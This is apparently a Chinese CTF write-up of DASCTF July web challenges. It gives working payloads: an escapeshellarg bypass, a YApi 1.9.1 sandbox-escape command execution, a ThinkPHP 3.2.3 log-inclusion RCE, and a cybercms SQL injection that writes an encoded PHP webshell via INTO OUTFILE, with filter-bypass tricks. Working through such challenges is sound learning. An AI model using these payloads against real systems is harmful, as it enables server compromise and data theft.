21DASCTFJuly

web

您的排名：148 慢慢复现有时间

cat flag

<?php
if (isset($_GET['cmd'])) {  
    $cmd = $_GET['cmd'];  
if (!preg_match('/flag/i',$cmd))  {    
    $cmd = escapeshellarg($cmd);    
    system('cat ' . $cmd);  }} 
else {  highlight_file(__FILE__);}?>

猜测命令执行查看历史命令文件

cat ~/.bash_history

escapeshellarg()函数 把字符串转码为可以在 shell 命令里使用的参数，不会绕过。。。

记录

看过wp才知道要想读日志，nginx日志默认路径/var/log/nginx/access.log

escapeshellarg()利用非ascii字符绕过，%aa,%ba,%fa

YApi

版本1.9.1 刚爆出个漏洞。

注册，创建项目

这里可以命令执行

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("command").toString()

保存后，添加接口

访问接口

即可看到命令执行结果，直接命令执行得flag

参考：

Thinkphp

v3.2.3直接网上找rce

/index.php?m=--><?=phpinfo();?>

要burp中 执行，url中执行不行

查看对应日志文件，注意日志时间

index.php/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_01.log

命令执行成功，

上马

蚁剑连接好像不太行，奇怪有时候可以

找到flag

参考

cybercms

根据网上爆出了sql注入，在后台登陆处，

然后根据目录扫描www.zip

$user=fl_html(f1_vvv(fl_value($_POST['user'])));

$password=fl_html(f1_vvv(fl_value($_POST['password'])));

f1_vvv  函数

function f1_vvv($str){
	if(empty($str)){return;}
	if(preg_match("/\ /i", $str)){
		exit('Go away,bad hacker!!');
	}
	preg_replace('/0x/i','',$str);
    return $str;
}

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

分析源码得到过滤了空格和0x，fl_value函数对一些关键词做了过滤，

判断5列

但是后门写马时候也要注意部分关键字被replace为空格

后门马

例如

user=admin'/**/union/**/select/**/null,null,null,null,CHAR(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)/**/into/**/outfile/**/'/var/www/html/upload/shell.php'#&password=dd&code=&submit=true&submit.x=16&submit.y=29

response

bad！hacker！<br>sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin'/**/union/**//**/null,null,null,null,CHAR(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)/**/into/**//**/'/var/www/html/upload/shell.php'#' limit 0,1

select，outfile要双写

、

查看后门

命令执行